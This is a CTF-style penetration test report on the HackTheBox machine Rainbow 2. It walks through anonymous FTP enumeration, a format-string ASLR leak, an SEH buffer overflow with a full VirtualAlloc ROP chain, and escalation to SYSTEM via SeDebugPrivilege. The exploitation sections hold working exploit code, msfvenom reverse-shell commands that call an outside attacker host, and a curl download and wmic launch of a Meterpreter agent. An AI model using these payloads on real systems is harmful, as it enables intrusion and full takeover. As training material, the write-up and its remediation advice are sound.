

Pen-Test Report

REPORT AUTHOR

Philippe Bécué

AUTHOR ROLE

Pen-tester

PERIOD

04/03/2026 - 08/03/2026

HackTheBox

HACKTHEBOX

Table of Contents

01 **Warning — Simulation / CTF**

Legal information, privacy, and terms of use for this document

02 **Demo Video**

Video demonstration of the exploitation or mission progress

03 **Vulnerability Table**

Severity classification grid and CVSS scores used in this report

04 **Participants List**

Presentation of the team members who participated in the penetration testing mission

05 **Scope**

Definition of the audit scope — systems and applications included and excluded from the test

06 **Information Gathering**

Collection of public information on the target: WHOIS, DNS, SSL certificates, exposed technologies

07 **OSINT**

Open-source intelligence — social media, data breaches, digital footprint

08 **Enumeration**

Discovery of services, open ports, software versions, and identified entry points

09 **Vulnerability Analysis**

Identification, qualification, and classification of discovered security vulnerabilities

10 **Exploitation**

Technical demonstration of the exploitation of confirmed vulnerabilities

11 **Post-Exploitation**

Post-compromise actions — privilege escalation, persistence, and lateral movement

12 **Vulnerabilities Summary Table**

Consolidated summary of all vulnerabilities with their CVSS score and criticality

13 **Conclusion**

Mission summary, overall security level assessment, and risk evaluation

14 **Solution**

Technical and organizational recommendations to remediate identified vulnerabilities

Warning — Simulation / CTF

This document is the report of a mission carried out in a simulated environment, for exclusively educational and training purposes. The targeted infrastructure is a virtual machine or a Capture The Flag (CTF) type environment, intentionally vulnerable and designed for learning offensive and defensive cybersecurity techniques. No real production systems, personal data, or third-party infrastructure were involved during this mission.

The techniques, tools, and methods described in this report are presented for educational purposes. Reproducing them on computer systems without explicit authorization from the owner is illegal and subject to criminal prosecution under applicable cybercrime legislation. The author disclaims any responsibility for the misuse of the information contained in this document for malicious or unauthorized purposes.

This report is part of a process to improve skills and document expertise in offensive security. It may be shared for demonstration or professional reference purposes in compliance with the terms of use of the platform or the organizer of the challenge concerned. Any partial or total reproduction for commercial purposes is prohibited without prior authorization from the author.

Demo Video

A video demonstration of this mission is available online. The video illustrates the exploitation process and the techniques used.

Vidéo Démo

VIDEO LINK

https://youtu.be/r-Di13OG_j4

Vulnerability Table

The following table defines the severity levels and corresponding CVSS score ranges used throughout the document to assess vulnerability and risk impact.

SEVERITY	CVSS V3 SCORE RANGE	DEFINITION
Critical	**9.0 – 10.0**	Exploitation is simple and generally leads to total system compromise. It is advised to establish an action plan and apply the fix immediately.
High	**7.0 – 8.9**	Exploitation is more difficult but can lead to privilege escalation and potentially data loss or service interruption. It is advised to establish an action plan and apply the fix as soon as possible.
Medium	**4.0 – 6.9**	Vulnerabilities exist but are not directly exploitable or require additional steps such as social engineering. It is advised to establish an action plan and apply the fix after resolving higher-priority issues.
Low	**0.1 – 3.9**	Vulnerabilities are not exploitable but would reduce the organization's attack surface. It is advised to establish an action plan and apply the fix during the next maintenance window.
Informational	**N/A**	No vulnerabilities exist. Additional information is provided regarding observations during testing, strong controls, and supplementary documentation.

Participants List

NAME	ROLE	EMAIL	ENVIRONMENT
Philippe Bécué	Pen-tester	contact@white-hat.fr	Kali Linux

Scope

Test Scope

NAME	DETAILS
10.129.2.76	HackTheBox Machine – Rainbow 2 (Windows Server 2022, Medium)

Scope Exclusions

No exclusions defined. Click "Add Exclusion" to get started.

Information Gathering

We start with a full port scan to map the target's attack surface:

```
nmap -sV --open -p- --min-rate 5000 10.129.2.76

PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
2121/tcp open  ccproxy-ftp?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

Three services are active:

- **Port 21** — Microsoft FTP: to test for anonymous access
- **Port 2121** — Service not recognized by Nmap: proprietary protocol, prime candidate for memory vulnerabilities
- **Port 3389** — Windows RDP: useful if credentials are recovered later

The presence of an unknown network service on port `2121` is the most promising attack vector. An undocumented proprietary protocol, developed without security audits, is historically a fertile ground for memory corruption vulnerabilities.

OSINT

No content has been added to this section yet.

Enumeration

Anonymous FTP Access and File Retrieval

The FTP service accepts connection with the `anonymous` account without a password:

```
ftp 10.129.2.76
Connected to 10.129.2.76.
220 Microsoft FTP Service
Name (10.129.2.76:attacker): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
229 Entering Extended Passive Mode (|||5000|)
150 Opening ASCII mode data connection.
06-05-22  11:57AM               705536 filesrv.exe
06-05-22  02:43PM                  275 README.txt
06-09-22  05:36AM       <DIR>          SysWOW64
226 Transfer complete.
ftp> dir SysWOW64
125 Data connection already open; Transfer starting.
05-11-22  03:46AM               683216 kernel32.dll
226 Transfer complete.
```

We retrieve three items of interest:

- `filesrv.exe` — the service binary listening on port `2121`
- `README.txt` — developer notes
- `SysWOW64\kernel32.dll` — a copy of the system DLL used by the service

The `README.txt` file provides crucial information:

```
cat README.txt
# FileSrv v0.2

Our simple file sharing server! Currently under development.

Changelog:
 - After our last custom server got hacked we made sure to enable
```

```
all mitigations: ASLR, DEP, GS! Now it's 100% secure.
```

The developer explicitly confirms that memory protections have been enabled after a previous incident: **ASLR** (address randomization), **DEP** (Data Execution Prevention), and **GS** (stack cookie). All three mechanisms will need to be bypassed. The presence of `kernel32.dll` in the FTP is also a strategic clue: having an exact copy of the DLL used by the service allows pre-calculating Windows function offsets.

Static and Dynamic Binary Analysis

We check the binary's protections with `ropper`:

```
ropper --file filesrv.exe --dllcharacteristics

DllCharacteristics
==================
Name                 Value
----                 -----
DynamicBase          Yes
ForceIntegrity       NO
NxCompat             Yes
No Isolation         NO
No SEH               NO
No Bind              NO
WdmDriver            NO
ControlFlowGuard     NO
TerminalServerAware  Yes
```

`DynamicBase: Yes` confirms ASLR. `NxCompat: Yes` confirms DEP (NX bit active). Notable: `No SEH: NO` indicates that the SEH mechanism is present and SafeSEH is not applied, which opens the way for exploitation via the SEH chain. `ControlFlowGuard: NO` confirms the absence of CFG, which facilitates ROP chain construction.

We load the binary into WinDbg for dynamic analysis. The `main` function initializes a network structure via `setup` (address `0.0.0.0`, port `2121`), then calls `server` and `handler`. The `server` function follows the classic TCP server sequence on Windows: `WSAStartup` → `socket` → `htons` → `bind` → `listen`.

The `handler` function uses `select` to monitor active descriptors, accepts connections with `accept`, allocates a buffer via `memset`, reads up to `4096 bytes` with `recv`, then creates a thread per connection via `CreateThread`. Each thread executes the `StartAddress` function.

In `StartAddress`, each received message passes through the `menu` function which prepares the response, which is then sent to the client via `send`.

The `menu` function splits the buffer into two parts separated by a space: the **command** and the **path**. It applies checks on the path (rejecting `..`, `C:\`, `\`) before constructing the response. For valid paths, it likely uses `snprintf` to copy `Path: ` followed by the path content into the response buffer. Two commands are recognized: `LST` (list directory) and `GET` (base64 encoded file content).

Analyse du protocole et découverte de la vulnérabilité Format String

On commence à interagir avec le service. Les restrictions de chemin fonctionnent comme décrit :

```
nc 10.129.2.76 2121
TEST ..
ERROR: Fishy path
TEST C:\
ERROR: Fishy path
```

En revanche, la barre oblique `/` n'est pas interdite et permet de lister les fichiers depuis la racine :

```
LST /
Path: /
C:\Documents and Settings
C:\Program Files
C:\Program Files (x86)
C:\ProgramData
C:\Users
C:\Windows
```

Toute commande inconnue retourne une erreur avec le chemin reflété :

```
TEST hello
ERROR: Can not open Path: hello
```

Le chemin utilisateur est intégré directement dans la réponse. On teste si l'entrée est traitée comme une chaîne de format en envoyant des spécificateurs `%p` :

```
TEST %p.%p
```

Dans WinDbg, on pose un breakpoint sur l'appel à `send` et on inspecte le buffer de réponse :

```
db poi(esp + 4)
013c25b0  45 52 52 4f 52 3a 20 43-61 6e 20 6e 6f 74 20 6f  ERROR: Can not o
013c25c0  70 65 6e 20 50 61 74 68-3a 20 31 44 45 37 30 30  pen Path: 1DE700
013c25d0  34 46 2e 33 46 32 41 34-31 32 30 0a 0a 00 ad ba  4F.3F2A4120.....
```

Les spécificateurs `%p` ont bien été interprétés comme des pointeurs de pile. Au lieu du texte littéral, la réponse contient deux adresses mémoire. Le second pointeur (`3F2A4120`) se situe dans le segment code du binaire. En le soustrayant de l'adresse de base du module observée dans WinDbg, on obtient un offset fixe :

```
lm m filesrv
start    end        module name
3f290000 3f340000   filesrv

? 0x3f2a4120 - 0x3f290000
Evaluate expression: 82208 = 00014120
```

L'offset constant est `0x14120`. Cette vulnérabilité de type **Format String** permet de calculer dynamiquement l'adresse de base du binaire à chaque connexion, neutralisant ainsi l'ASLR. Tous les gadgets ROP du binaire pourront être adressés précisément sous la forme `binary_base + offset_statique`.

Vulnerability Analysis

Buffer Overflow with SEH Chain Overwrite

User input is not only vulnerable to format string — it's also not properly bounded before being copied into memory. Sending a large cyclic pattern causes a controlled crash:

```
from pwn import cyclic
payload = cyclic(4000)
# Sent via: shell.sendline(b"TEST " + payload)
```

In WinDbg, the program crashes with an access violation. The `eip` register doesn't point directly into the pattern, but the SEH chain is overwritten:

```
!exchain
010afca4: 6b61616a
Invalid exception stack at 6b616169
```

We identify the two offsets with `cyclic -l`:

```
cyclic -l 0x6b616169
1032

cyclic -l 0x6b61616a
1036
```

The overwrite of the **nSEH** (Next SEH Handler) pointer occurs at offset **1032 bytes**, and the **SEH Handler** at **1036 bytes**. We thus have full control over the exception structure.

In a classic SEH exploit without DEP, we would place a `pop; pop; ret;` gadget in the handler to redirect execution to the nSEH used as a short jump. But DEP is active — the stack is not executable:

```
!vprot esp
BaseAddress:       00cef000
AllocationProtect: 00000004  PAGE_READWRITE
Protect:           00000004  PAGE_READWRITE
```

The `PAGE_READWRITE` protection without the `EXECUTE` attribute prohibits direct execution of shellcode in memory. A ROP chain is necessary to bypass this mechanism.

DEP Bypass Strategy via VirtualAlloc and Pushad Technique

The chosen technique involves constructing a ROP chain that calls VirtualAlloc to modify stack permissions and make it executable:

```
LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,        // Target address (esp)
  [in]           SIZE_T dwSize,           // Size (0x1)
  [in]           DWORD  flAllocationType, // MEM_COMMIT = 0x1000
  [in]           DWORD  flProtect         // PAGE_EXECUTE_READWRITE = 0x40
);
```

To pass arguments without individual `push` gadgets (rare with DEP active), we use the `pushad; ret;` gadget which pushes all registers onto the stack in a predefined order:

```
pushad => Push(EAX), Push(ECX), Push(EDX), Push(EBX),
          Push(ESP), Push(EBP), Push(ESI), Push(EDI)
```

The arguments for `VirtualAlloc` are positioned starting from `Push(ESP)` — the `esp` register at the time of pushad will serve as `lpAddress`. The registers to prepare before `pushad` are:

- `ECX = 0x40` — flProtect (PAGE_EXECUTE_READWRITE)
- `EDX = 0x1000` — flAllocationType (MEM_COMMIT)
- `EBX = 0x1` — dwSize
- `ESI` = VirtualAlloc address (called implicitly as internal "call esi")
- `EBP` = `pop ebp; ret;` gadget (stack cleanup after VirtualAlloc returns)
- `EDI` = `ret;` gadget (execution flow alignment)

Additional complication: `VirtualAlloc` is not in the binary's import address table (IAT). We locate it by starting from `TlsAlloc` (present in the IAT) and calculating the offset between the two functions in `kernel32.dll` — possible thanks to the DLL copy retrieved via FTP:

```
? kernel32!VirtualAllocStub - kernel32!TlsAllocStub
Evaluate expression: -12592 = ffffced0
```

By dereferencing the IAT entry for `TlsAlloc` and adding `0xffffced0`, we get the runtime address of `VirtualAlloc`. The values `0x40` and `0x1000` containing null bytes are constructed by arithmetic subtraction to avoid input truncation by `recv`.

Exploitation

Step 1 — Leaking the Binary Base Address (ASLR Bypass)

We automate reading the second leaked pointer via the format string. By subtracting the fixed offset `0x14120`, we recalculate the binary's base address on each run:

```
#!/usr/bin/python3
from pwn import remote, log

target = remote("10.129.2.76", 2121)
target.sendline(b"TEST %p.%p")
target.recvuntil(b".")

raw = target.recvline().strip()
binary_base = int(raw, 16) - 0x14120
log.info(f"Base address: {hex(binary_base)}")

target.interactive()
python3 exploit.py
[+] Opening connection to 10.129.2.76 on port 2121: Done
[*] Base address: 0x3f290000
[*] Switching to interactive mode
```

The base address is now known dynamically. All ROP gadgets will be calculated as `binary_base + static_offset`.

Step 2 — SEH Control and Stack Pivot

We confirm control of the SEH structure (handler at `0x43434343`, nSEH at `0x42424242`), then search for a **stack pivot** gadget to move `esp` to our payload:

```
ropper --file filesrv.exe --search "add esp, 0x???; ret;"

[INFO] File: filesrv.exe
0x0001139d: add esp, 0xd60; ret;
0x00011396: add esp, 0xe10; ret;
```

The gadget `add esp, 0xe10; ret;` (offset `0x11396`) is chosen. After executing it, `esp` lands within our payload. We measure the exact distance between the post-pivot `esp` and the beginning of the buffer:

```
? (esp - buffer_start) / 4
Evaluate expression: 30 = 0000001e
```

`esp` is 30 DWORDs after the payload's start. We therefore insert **30 `ret;` gadgets** at the head of the payload to absorb this offset and align the execution flow to the main ROP chain. The complete payload structure becomes:

1. `[30 x ret]` — post-pivot alignment
2. `[VirtualAlloc ROP chain]` — DEP bypass
3. `[shellcode]` — reverse shell
4. `[Padding A up to offset 1032]`
5. `[nSEH: 4 bytes padding]`
6. `[SEH handler: address of stack pivot gadget]`
7. `[Padding D up to 2400 bytes]` — force an Access Violation in snprintf before the GS canary check

Step 3 — ROP Chain Construction

We construct the ROP chain gadget by gadget. All offsets are static relative to `binary_base`. The values `0x40` and `0x1000` are calculated by subtraction to avoid null bytes:

```
rop  = b""
rop += p32(binary_base + 0x01010) * 30   # ret; (alignment x30)

# Register ECX = 0x40 (PAGE_EXECUTE_READWRITE)
rop += p32(binary_base + 0x3711e)    # pop eax; ret;
rop += p32(0x8314c2ab)               # intermediate value (0x8314c26b + 0x40)
rop += p32(binary_base + 0x32ce4)    # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x01068)    # pop esi; ret;
rop += p32(binary_base + 0x01068)    # (padding for internal call esi)
rop += p32(binary_base + 0x48ca8)    # xchg edi, eax; ret;
rop += p32(binary_base + 0x15638)    # mov ecx, edi; call esi;

# Register EDX = 0x1000 (MEM_COMMIT)
rop += p32(binary_base + 0x3711e)    # pop eax; ret;
rop += p32(0x8314d26b)               # intermediate value (0x8314c26b + 0x1000)
```

```
rop += p32(binary_base + 0x32ce4)    # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x3039f)    # mov edx, eax; mov eax, esi; pop esi; ret;
rop += p32(0x41414141)               # padding for pop esi

# Register EBX = 0x1 (dwSize)
rop += p32(binary_base + 0x0dc14)    # pop ebx; ret;
rop += p32(0xffffffff)               # -1
rop += p32(binary_base + 0x3ac3c)    # inc ebx; ret;
rop += p32(binary_base + 0x3ac3c)    # inc ebx; ret;

# Register EBP = pop ebp; ret; (cleanup post VirtualAlloc return)
rop += p32(binary_base + 0x0100f)    # pop ebp; ret;
rop += p32(binary_base + 0x0100f)    # address of the gadget itself

# Register ESI = jmp eax (jump to VirtualAlloc)
rop += p32(binary_base + 0x01068)    # pop esi; ret;
rop += p32(binary_base + 0x14af9)    # jmp eax;

# Register EDI = ret; (alignment after pushad)
rop += p32(binary_base + 0x15354)    # pop edi; ret;
rop += p32(binary_base + 0x01010)    # ret;

# Register EAX = VirtualAlloc address (via TlsAlloc + offset)
rop += p32(binary_base + 0x15354)    # pop edi; ret;
rop += p32(0xffffced0)               # VirtualAlloc - TlsAlloc
rop += p32(binary_base + 0x3711e)    # pop eax; ret;
rop += p32(binary_base + 0x9013c)    # TlsAlloc() IAT entry
rop += p32(binary_base + 0x2bb8e)    # mov eax, dword ptr [eax]; ret;
rop += p32(binary_base + 0x113a8)    # add eax, edi; ret;

# Trigger: pushad + jump to shellcode
rop += p32(binary_base + 0x113b1)    # pushad; ret;
rop += p32(binary_base + 0x11394)    # jmp esp;
```

We verify in WinDbg that the arguments are correctly positioned before the call:

```
bp kernel32!VirtualAllocStub
g

dds esp + 4 L4
0194f700  0194f714    ; lpAddress = esp
0194f704  00000001    ; dwSize = 1
0194f708  00001000    ; flAllocationType = MEM_COMMIT
0194f70c  00000040    ; flProtect = PAGE_EXECUTE_READWRITE
```

After `VirtualAlloc` returns, the stack protection changes:

```
!vprot esp
Protect: 00000040  PAGE_EXECUTE_READWRITE
```

The stack is now executable. The `jmp esp` gadget at the end of the chain transfers control directly to the shellcode.

Étape 4 — Génération du shellcode et obtention du shell

On génère un shellcode de reverse shell Windows 32 bits avec `msfvenom`. Les bad chars identifiés lors du fuzzing (`\x00`, `\x01`, `\x09`, `\x0a`, `\x0b`, `\x0c`, `\x0d`, `\x1a`, `\x20`, `\x25`) sont exclus — deux octets supplémentaires (`\x01` et `\x1a`) ont été identifiés comme problématiques lors des tests. L'encodeur `call4_dword_xor` est utilisé (déterministe, contrairement à `shikata_ga_nai` qui échoue aléatoirement avec autant de bad chars) :

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.59 LPORT=443 \
  -b '\x00\x01\x09\x0a\x0b\x0c\x0d\x1a\x20\x25' \
  -f python -v shellcode \
  -e x86/call4_dword_xor -i 1
```

```
Payload size: 348 bytes
```

On intègre le shellcode dans l'exploit automatisé. Un point critique est la **taille du payload** : le binaire est compilé avec la protection **GS** (stack cookie). Si le payload est trop court (≤ 2000 octets), l'overflow corrompt le canary mais `snprintf` ne déborde pas au-delà de la page mémoire — la fonction retourne, le check GS détecte la corruption et `__fastfail` tue le processus *sans* passer par SEH. Si le payload est trop long (≥ 4000 octets), le serveur le rejette avec `ERROR`. Le sweet spot est **2400 octets** : assez long pour provoquer un Access Violation dans `snprintf` (dépassement de page) *avant* le check GS, ce qui dispatch l'exception via SEH vers notre handler.

Le port `443` est choisi pour le reverse shell car le firewall Windows bloque les ports non-standard en sortie (le port `4444` a été testé sans succès).

```
sudo nc -lvnp 443
Listening on 0.0.0.0 443
python3 exploit_v3.py --size 2400 --pivot e10 --offset 0xffffced0
[*] Offset force: 0xffffced0
[*] Shellcode reverse_tcp: 348 octets
[+] Opening connection to 10.129.2.76 on port 2121: Done
[*] [T1] base=0x3f930000 pivot=0xe10 sled=30x4=120o SC@248 (348o) total=2400o
[+] [T1] Crash! (pas de reponse)
```

Le listener reçoit la connexion :

```
connect to [10.10.16.59] from (UNKNOWN) [10.129.2.76] 50310
Microsoft Windows [Version 10.0.20348.3453]
(c) Microsoft Corporation. All rights reserved.

C:\shared>
```

Le shell est éphémère : le service manager Windows redémarre `filesrv.exe` après le crash et tue tous les processus enfants, y compris le reverse shell. La fenêtre d'interaction est de quelques secondes. Pour contourner ce problème, on utilise le shellcode `windows/exec` pour écrire la sortie des commandes dans un fichier accessible via le FTP :

```
python3 exploit_v3.py --size 2400 --pivot e10 --offset 0xffffced0 \
  --cmd "cmd /c whoami > C:\shared\out.txt"

# Puis récupération via FTP :
ftp 10.129.2.76  # anonymous
get out.txt

cat out.txt
rainbow2\dev
```

On récupère le flag utilisateur de la même manière :

```
python3 exploit_v3.py --size 2400 --pivot e10 --offset 0xffffced0 \
  --cmd "cmd /c type C:\Users\dev\Desktop\user.txt > C:\shared\out.txt"
```

L'exploitation est concluante. Le contournement de l'ASLR (format string), du DEP (ROP + VirtualAlloc), du GS (payload 2400 octets → Access Violation avant check canary) et du mécanisme SEH a fonctionné de bout en bout.

Voici la liste des fichiers créés lors de cette démonstration

Downloadable files

- check_badchars.py
- check_canary.py
- custom_exploit.py
- dump_stack.py
- exploit_v3.py

- filesrv.exe
- find_fmtstr_offset.py
- find_pop_eax.py
- grab.py
- kernel32.dll
- test_multi_cmd.py
- verify_all_gadgets.py
- verify_gadgets.py

Post-Exploitation

Enumerating Service Account Privileges

We list the privileges of the `dev` account to identify escalation vectors:

```
C:\shared> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeDebugPrivilege              Debug programs                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeCreateGlobalPrivilege       Create global objects          Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
```

The presence of `SeDebugPrivilege` is a first-rate escalation vector. Although the displayed state is `Disabled`, this indication should not be trusted: on Windows, a *Disabled* privilege is available but simply inactive in the current thread context. Any tool capable of enabling process privileges—like Meterpreter—can use it.

`SeDebugPrivilege` allows opening a handle with `PROCESS_ALL_ACCESS` rights on any system process, regardless of its owner. In practice, this is equivalent to having `NT AUTHORITY\SYSTEM` rights. The most direct exploitation method is **Meterpreter process migration**, which injects code into a target process via the `OpenProcess`, `VirtualAllocEx`, `WriteProcessMemory`, and `CreateRemoteThread` APIs—all made accessible by this privilege.

Escalation to NT AUTHORITY\SYSTEM via Process Migration

We generate a Meterpreter agent on **port 443** (the only outgoing port allowed by the Windows firewall) and transfer it to the target machine:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.59 LPORT=443 -f exe -o a
Payload size: 354 bytes
```

```
Final size of exe file: 73802 bytes

python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 ...
```

The download is triggered via the exploit (ephemeral shell, same technique as for previous commands):

```
python3 exploit_v3.py --size 2400 --pivot e10 --offset 0xffffced0 \
  --cmd "cmd /c curl 10.10.16.59/agent.exe -o C:\shared\agent.exe"

# Confirmation on Kali side:
10.10.16.59 - - "GET /agent.exe HTTP/1.1" 200 -
```

We configure the Meterpreter handler on port 443:

```
sudo msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/r

[*] Started reverse TCP handler on 10.10.16.59:443
```

The agent's execution is triggered via `wmic process call create`. This command is essential: it creates the process *outside the Windows Job Object* which kills child processes upon service restart. The Meterpreter agent thus survives the crash of `filesrv.exe`:

```
python3 exploit_v3.py --size 2400 --pivot e10 --offset 0xffffced0 \
  --cmd "wmic process call create C:\shared\agent.exe"

# Output captured by the exploit:
Method execution successful.
ProcessId = 10924;
ReturnValue = 0;
```

The handler receives the session:

```
[*] Sending stage (177734 bytes) to 10.10.16.59
[*] Meterpreter session 1 opened (10.10.16.59:443 -> 10.129.2.76:51466)

meterpreter > getuid
Server username: RAINBOW2\dev
```

We migrate to `winlogon.exe`, a system process that runs under `NT AUTHORITY\SYSTEM`:

```
meterpreter > migrate -N winlogon.exe
[*] Migrating from 10924 to 628...
[*] Migration completed successfully.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

The migration was successful. `SeDebugPrivilege` allowed Meterpreter to open a handle to `winlogon.exe` and inject its payload. We now have full access to the machine as `SYSTEM`.

Vulnerabilities Summary Table

VULNERABILITY	APPLICATION	PORT	TYPE	SEVERITY	MAIN IMPACT
Anonymous FTP Access – Sensitive File Disclosure	Microsoft FTP Service	21	Information Disclosure	medium	Download of server binary and kernel32 DLL enabling offline static analysis
Format String in custom filesrv.exe service	filesrv.exe	2121	Information Disclosure / ASLR Bypass	high	Leak of the binary's base address on each connection, bypassing ASLR
SEH Buffer Overflow in filesrv.exe	filesrv.exe	2121	RCE	critical	Arbitrary code execution via ROP chain + VirtualAlloc (DEP bypass) → shell as rainbow2\dev
Privilege Escalation via SeDebugPrivilege	winlogon.exe		Privilege Escalation	high	Meterpreter process migration to winlogon.exe → NT AUTHORITY\SYSTEM access

Conclusion

Rainbow 2 is an intermediate-level challenge entirely focused on the memory exploitation of a Windows network service with modern protections. The complete attack chain:

1. **Reconnaissance** — port scan, identification of anonymous FTP as entry point
2. **Artifact Collection** — retrieval of binary, README, and DLL via anonymous FTP
3. **Reverse Engineering** — static (Ropper) and dynamic (WinDbg) analysis to map protocol and internal functions
4. **ASLR Bypass** — Format String vulnerability in path handling → base address leak on each connection
5. **GS Bypass** — 2400-byte payload causing an Access Violation in `snprintf` before the stack cookie check, forcing exception dispatch via SEH
6. **DEP Bypass + RCE** — stack pivot → ROP chain calling `VirtualAlloc(esp, 1, 0x1000, 0x40)` → shellcode → ephemeral shell as `rainbow2\dev`, exploitation via file writing and FTP retrieval
7. **Privilege Escalation** — `SeDebugPrivilege` + Meterpreter migration to `winlogon.exe` → `NT AUTHORITY\SYSTEM`

Key technical takeaways:

- The **pushad + VirtualAlloc** technique is particularly elegant for bypassing DEP: it avoids searching for individual `push reg; ret;` gadgets, which are often scarce in a binary compiled with DEP enabled
- A single pointer leaked via format string is enough to recalculate the entire binary base if the offset is fixed — this is why format string is a critical vulnerability even when it seems to only expose addresses
- Bypassing the **GS canary** is the most subtle technical point: a payload that is too short (≤ 2000 bytes) triggers `__fastfail` without going through SEH, while a payload that is too long (≥ 4000 bytes) is rejected by the server. The sweet spot of **2400 bytes** forces an

Access Violation in `snprintf` before the canary check, which dispatches the exception via the controlled SEH chain

- The ephemeral shell imposed by the Windows service manager required a two-step approach: executing commands via `windows/exec` with writing to an FTP-accessible file, then launching a Meterpreter agent via `wmic process call create` to escape the Job Object and obtain a persistent session
- The presence of `kernel32.dll` in the FTP was a strategic clue: it allowed offline validation of `TlsAlloc` and `VirtualAlloc` offsets with the exact DLL version used by the service
- `SeDebugPrivilege` is systematically underestimated — it is equivalent to SYSTEM rights on all Windows versions and should never be granted to an application service account

Solution

1. Disable Anonymous FTP Access

Remove or restrict anonymous access to the FTP server. Never expose proprietary executable binaries or system DLLs via a public share — these files provide attackers with all the necessary material for a complete offline analysis (ROP gadgets, function offsets, protocol logic).

2. Fix Format String Vulnerability

Never use user input directly as a format string in `printf`-family functions. The fix is trivial:

```
// VULNERABLE
snprintf(buffer, sizeof(buffer), user_input);

// FIXED
snprintf(buffer, sizeof(buffer), "%s", user_input);
```

This single change would have been sufficient to prevent ASLR bypass, making overflow exploitation significantly harder.

3. Validate Network Input Length

Any data received from the network must be bounded before any memory copy operation. Implement strict payload length checking and reject any input exceeding the expected maximum size. Exclusively use secure functions: `strncpy_s`, `memcpy_s`, `strncat_s`.

4. Enable Compile-Time Protections

Recompile the binary with the following security options:

- `/SAFESEH` — validates SEH handlers against a list of legitimate entries, preventing any hijacking of the exception chain
- `/guard:cf` (Control Flow Guard) — validates all indirect branch targets, rendering ROP gadgets unusable
- `/DYNAMICBASE /HIGHENTROPYVA` — ASLR with maximum entropy

5. Apply Principle of Least Privilege

Remove `SeDebugPrivilege` from the service account. This privilege is reserved for legitimate debugging tools and has no justification in a network file sharing service. Isolate the service in a dedicated account with strictly minimal rights, without membership in the local Administrators group. Regularly audit local rights policies with:

```
secedit /export /cfg C:\audit_privileges.cfg
# Inspect the [Privilege Rights] section
```